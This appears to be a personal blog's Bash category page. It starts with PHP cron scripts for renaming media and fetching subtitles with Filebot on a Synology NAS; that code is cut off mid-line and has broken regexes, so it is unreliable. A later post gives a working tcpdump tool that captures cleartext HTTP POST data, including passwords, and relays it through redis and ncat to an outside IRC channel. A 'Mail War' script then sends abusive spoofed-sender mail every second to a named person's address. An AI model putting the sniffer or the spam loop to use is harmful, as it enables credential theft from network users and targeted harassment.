Category: Bash

Synology Filebot Autonaming cron job

Having a synology NAS is great. However when dealing with 32tb, good file management is a must!
I have 2 primary folders, Films and Series. The set of below scripts iterate the files and use the TVDB and MovieDB to clean up the file names.
The second scripts downloads any missing subtitles for the media 🙂

File renaming

&1" ) );

foreach( $loglines as $logline )
{
  $line = trim( $logline );

  if( $line == "" ) continue;
  if( preg_match( "/^Skipped.*$/", $line, $dontcare ) ) continue;
  if( preg_match( "/^Auto-detect movie from context.*$/", $line, $dontcare ) ) continue;
  if( preg_match( "/.*Rename movies using.*$/", $line, $dontcare ) ) continue;

  $ploglines[] = $line;
}

$frt = implode( "\r\n" , $ploglines );

$body = "Dear user,\n\n $frt \n\nSincerely,\nSynology DiskStation\n\n";
mail($email, 'DSM - Filebot Rename Report - Films', "$body");


$log = "/volume1/homes/admin/cleanup/report-rename.txt";
unlink( $log );
touch( $log );

if ($handle = opendir('/volume1/Entertainment/Series/'))
{
  while (false !== ($entry = readdir($handle)))
  {
    if ($entry != "." && $entry != "..")
    { 
      $cmd = "filebot -r -rename \"/volume1/Entertainment/Series/$entry/\" --db TheTVDB 2>&1";
      $frt = shell_exec( $cmd );
      file_put_contents( $log, $frt . "\n\n", FILE_APPEND | LOCK_EX );
    }
  }
  closedir($handle);
}

$ploglines = array();
$loglines = file( $log );

foreach( $loglines as $logline )
{
  $line = trim( $logline );

  if( $line == "" ) continue;
  if( preg_match( "/'^Skipped.*$/", $line, $dontcare ) ) continue;
  if( preg_match( "/^Fetching episode data.*$/", $line, $dontcare ) ) continue;
  if( preg_match( "/^Processed.$*/", $line, $dontcare ) ) continue;
  if( preg_match( "/^Done.*$/", $line, $dontcare ) ) continue;
  if( preg_match( "/^Failure.*$/", $line, $dontcare ) ) continue;
  if( preg_match( "/^No media files.*$/", $line, $dontcare ) ) continue;

  $ploglines[] = $line;
}

$frt = implode( "\r\n" , $ploglines );

$body = "Dear user,\n\n $frt \n\nSincerely,\nSynology DiskStation\n\n";
mail($email, "DSM - Filebot Rename Report - Series $entry", "$body");

Subtitles scripts

&1" );
$body = "Dear user,\n\n $fst \n\nSincerely,\nSynology DiskStation\n\n";
mail($email, 'DSM - Filebot Subtitles Report - Films', "$body");

if ($handle = opendir('/volume1/Entertainment/Series/'))
{
  while (false !== ($entry = readdir($handle)))
  {
    if ($entry != "." && $entry != "..")
    { 
      $cmd = "filebot -r -script fn:suball \"/volume1/Entertainment/Series/$entry/\" --lang en -non-strict --db TheTVDB 2>&1";
      $frt = shell_exec( $cmd );
      file_put_contents( $log, $frt . "\n\n", FILE_APPEND | LOCK_EX );
    }
  }
  closedir($handle);
}

$frt = file_get_contents( $log );
$body = "Dear user,\n\n $frt \n\nSincerely,\nSynology DiskStation\n\n";
mail('dave@fio.ie', "DSM - Filebot Subtitles Report - Series $entry", "$body");

Cron Job

ash-4.3# cat /etc/crontab 
MAILTO=""
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/syno/sbin:/usr/syno/bin:/usr/local/sbin:/usr/local/bin
#minute hour    mday    month   wday    who     command
0       0       1       *       *       root    /usr/syno/bin/syno_disk_health_record
0       0       *       *       3       root    /usr/bin/php /var/services/homes/admin/cleanup/filebot-rename.php
0       0       *       *       5       root    /usr/bin/php /var/services/homes/admin/cleanup/filebot-subtitles.php
5       3       *       *       6       root    /usr/syno/bin/synomyds --report_info
0       3       *       *       1       root    /tmp/synoschedtask --run id=1
0       3       13      *       *       root    /tmp/synoschedtask --run id=2
11      2       *       *       4       root    /tmp/synoschedtask --run id=3

Tcpdump password siphoning to IRC with redis

A somewhat controversial topic!
As of late there is greater and greater push for transport later security. rightly so.
Below is an example of using tcpdump and ncat to log insecure http/pop/smtp etc.. traffic at a network boundary and log the results into irc chat.

screenshot_2016-11-14_00-00-51

Required:

apt-get install tcpdump ncat redis

How it works
Create the 2 files below, make sure redis is running, and start them.
It doesn’t mater which one you start first.

IRC bot

#!/bin/bash -ex

REDIS_CLI="redis-cli -h 127.0.0.1"
q1="queue"
q2="processing"
# redis nil reply
nil=$(echo -n -e '\r\n')

consume() {

  USER=BOTUSERNAME #$1
  MYPASSWORD=BOTPASSWORD #$2
  IRC_SERVER=SERVER #$3
  IRC_PORT=6697 #$4
  CHANNEL=#CHANNEL #$5

  (
    sleep 15
    echo NICK $USER
    sleep 1
    echo USER $USER 8 * : $USER
    sleep 5
    echo "PRIVMSG NickServ :IDENTIFY $USER $MYPASSWORD"
    sleep 5
    echo "PRIVMSG ChanServ :INVITE $CHANNEL"
    sleep 5
    echo "JOIN $CHANNEL"
    sleep 2
    
    while true; do
      # move message to processing queue
      MSG=$(echo "RPOPLPUSH $q1 $q2" | $REDIS_CLI)
    
      if [[ -z "$MSG" ]]; then
        echo "PRIVMSG $CHANNEL :zzz...."
        sleep $[ ( $RANDOM % 120 )  + 1 ]s
        continue
      fi

      echo "PRIVMSG $CHANNEL :========="
      echo $MSG | fold -s -w160 | while read -r bline
      do
        echo "PRIVMSG $CHANNEL :"$bline
        sleep 1
      done

      # remove message from processing queue
      echo "LREM $q2 $q1 \"$MSG\"" | $REDIS_CLI >/dev/null
    done

    sleep 2
    echo QUIT
  ) | ncat --ssl $IRC_SERVER $IRC_PORT
}

while true; do
  consume
done

Tcpdump

#!/bin/bash

REDIS_CLI="redis-cli -h 127.0.0.1"
n=1
nmax=1000
q1="queue"
q2="processing"

clean() {
  echo "DEL $q1" | $REDIS_CLI
  echo "DEL $q2" | $REDIS_CLI
}
        
produce() {
  while true; do
    MSG=$(timeout --foreground -s 15 10s tcpdump -v -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' | php -R 'echo addslashes(htmlspecialchars($argn));' )
    echo $MSG | while read -r line
    do
      tline=$(echo $line | sed 's/\"//g')
      tline=$(echo $tline | sed '/^$/d')
      if [ "$tline" == "" ]; then 
        continue;
      fi
      echo "LPUSH $q1 \"$tline\"" 
      echo ""
      echo "LPUSH $q1 \"$tline\"" | $REDIS_CLI
    done
  done
}
                                            
clean
produce


Linux Bash One Liners

I’m going to keep adding a number of one liners here. Mainly for my own personal usage.

Find duplicate filenames with different extensions

find . -type f -print | rev | cut -f 2- -d '.' | rev | sort | uniq -d

Mail War

Randomly spams someones with number of domains and random user.
This particular guy mark.silberman78@gmail.com thought i needed some extra mail.  I sent some back 😉

export de1=fio.ie
export de2=feeditout.com
export de3=feeditout.com

while true; 
  do export rand=$((1 + RANDOM % 3)); 
  export var=de$rand; 
  echo "fuck off with your spam" | mailx -r `tr -dc A-Za-z0-9 </dev/urandom | head -c 10`@$(eval echo \$$var) -s "fuck you, stop spamming my email address" mark.silberman78@gmail.com; 
  sleep 1; 
done